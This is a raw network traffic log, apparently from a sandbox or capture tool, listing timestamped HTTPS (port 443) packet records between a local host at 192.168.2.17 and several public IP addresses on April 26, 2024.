Apr 26, 2024 22:18:29.023770094 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.023777008 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.023874044 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.023920059 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.023921013 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.023931980 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.023966074 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.024518013 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.024569988 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.024595976 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.024614096 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.024627924 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.024676085 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.025057077 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.025311947 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.025366068 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.025367022 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.025378942 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.025423050 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.025430918 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.025968075 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026026964 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.026034117 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026149988 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026179075 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026213884 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.026221991 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026290894 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.026823044 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026880980 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026906013 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.026974916 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.026983976 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.027025938 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.028295040 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.028367043 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.028389931 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.028434992 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.028443098 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.028497934 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.028548956 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.028599977 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.144957066 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.145100117 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.146758080 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.146792889 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.146822929 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.146831989 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.146867037 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.146878004 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.146929979 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.146935940 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.146980047 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.147775888 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.147844076 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.147910118 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.147964001 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.148686886 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.148755074 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.149425030 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.149477959 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.149491072 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.149502993 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.149550915 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.151081085 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.151117086 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.151143074 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.151148081 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.151160955 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.151173115 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.151186943 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.151207924 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.152055979 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.152117968 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.152434111 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.152488947 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.152496099 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.152527094 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.152571917 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.152717113 CEST	49745	443	192.168.2.17	172.67.223.170
Apr 26, 2024 22:18:29.152733088 CEST	443	49745	172.67.223.170	192.168.2.17
Apr 26, 2024 22:18:29.164666891 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.164719105 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.164769888 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.164779902 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.164828062 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.164875984 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.164879084 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165282965 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165339947 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.165344000 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165364981 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165406942 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.165410042 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165812969 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165878057 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165915012 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165919065 CEST	49747	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.165940046 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.165980101 CEST	49747	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166002989 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166085005 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166127920 CEST	49747	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166347027 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166376114 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166398048 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166400909 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166435957 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166446924 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166610003 CEST	443	49748	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166723013 CEST	443	49748	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166771889 CEST	49748	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166835070 CEST	49747	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166851044 CEST	443	49747	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166901112 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166934013 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.166937113 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.166984081 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.167021990 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.167567015 CEST	49749	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.167577028 CEST	443	49749	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.169850111 CEST	49748	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.169863939 CEST	443	49748	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.172992945 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173029900 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173078060 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.173079967 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173099995 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173142910 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.173207998 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173296928 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173341036 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.173346043 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173722982 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173743963 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173767090 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.173774004 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.173810959 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.173971891 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.174182892 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.174202919 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.174226999 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.174232960 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.174278021 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.174936056 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175069094 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175090075 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175112963 CEST	49751	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.175131083 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175169945 CEST	49751	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.175267935 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175714970 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.175762892 CEST	49751	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.176651001 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.176723957 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.176773071 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.178769112 CEST	49750	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.178775072 CEST	443	49750	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.181855917 CEST	49751	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.181869984 CEST	443	49751	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.259785891 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.260056973 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.260066986 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.260559082 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.260859966 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.260941982 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.261008978 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.304157019 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.577213049 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.577271938 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.577326059 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.577338934 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.577420950 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:18:29.577466011 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.578222990 CEST	49752	443	192.168.2.17	104.21.32.98
Apr 26, 2024 22:18:29.578241110 CEST	443	49752	104.21.32.98	192.168.2.17
Apr 26, 2024 22:19:10.703540087 CEST	49729	443	192.168.2.17	152.199.4.44
Apr 26, 2024 22:19:10.703609943 CEST	443	49729	152.199.4.44	192.168.2.17
Apr 26, 2024 22:19:13.763747931 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:13.763792038 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:13.763916969 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:13.765451908 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:13.765470028 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.040015936 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.040117025 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.040242910 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.074866056 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.074884892 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.245429993 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.245510101 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.281214952 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.281234026 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.281481981 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.282660961 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.282701969 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.282715082 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.463502884 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.463584900 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.469712973 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.469728947 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.469961882 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.511617899 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.511866093 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.556123018 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.658689022 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.658710003 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.658749104 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.658785105 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.658804893 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.658828974 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.658853054 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.658881903 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.659348965 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.659362078 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.659372091 CEST	49766	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.659377098 CEST	443	49766	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.665179968 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665231943 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665270090 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665287018 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.665313959 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665347099 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665364027 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.665369034 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665393114 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665446043 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.665451050 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665534019 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.665538073 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665553093 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.665608883 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.678878069 CEST	49767	443	192.168.2.17	13.107.5.88
Apr 26, 2024 22:19:14.678910017 CEST	443	49767	13.107.5.88	192.168.2.17
Apr 26, 2024 22:19:14.763917923 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.763958931 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:14.764053106 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.764209032 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:14.764226913 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.241344929 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.241893053 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.241925955 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.243145943 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.243153095 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.243191957 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.243201971 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605079889 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605101109 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605148077 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605190992 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.605207920 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605243921 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.605272055 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.605717897 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.605741024 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.605753899 CEST	49768	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.605761051 CEST	443	49768	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.707266092 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.707324982 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:15.707438946 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.707643986 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:15.707665920 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.183160067 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.183828115 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.183888912 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.185029984 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.185045004 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.185125113 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.185143948 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.543838024 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.543858051 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.543910027 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.543963909 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.543972015 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.544034958 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.544034958 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.544382095 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.544428110 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.544457912 CEST	49769	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.544473886 CEST	443	49769	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.623572111 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.623624086 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:16.623718977 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.623881102 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:16.623899937 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.102713108 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.103307962 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.103367090 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.104685068 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.104691982 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.104772091 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.104780912 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.472949028 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.472970963 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.473009109 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.473048925 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.473078966 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.473098040 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.473098993 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.473196030 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.473584890 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.473584890 CEST	49770	443	192.168.2.17	40.126.7.32
Apr 26, 2024 22:19:17.473603964 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.473613977 CEST	443	49770	40.126.7.32	192.168.2.17
Apr 26, 2024 22:19:17.733855963 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:17.733887911 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:17.734081030 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:17.736140013 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:17.736151934 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:17.993922949 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:17.994065046 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.037240028 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.037265062 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.037595987 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.038861990 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.040755987 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.040788889 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.371664047 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.371757984 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.372021914 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.372097969 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.372136116 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.699204922 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.699613094 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.699637890 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.699984074 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.700289965 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.700357914 CEST	443	49772	142.250.217.164	192.168.2.17
Apr 26, 2024 22:19:18.717381001 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.717437983 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.717458963 CEST	443	49771	23.219.0.175	192.168.2.17
Apr 26, 2024 22:19:18.717511892 CEST	49771	443	192.168.2.17	23.219.0.175
Apr 26, 2024 22:19:18.745510101 CEST	49772	443	192.168.2.17	142.250.217.164
Apr 26, 2024 22:19:18.841626883 CEST	443	49771	23.219.0.175	192.168.2.17
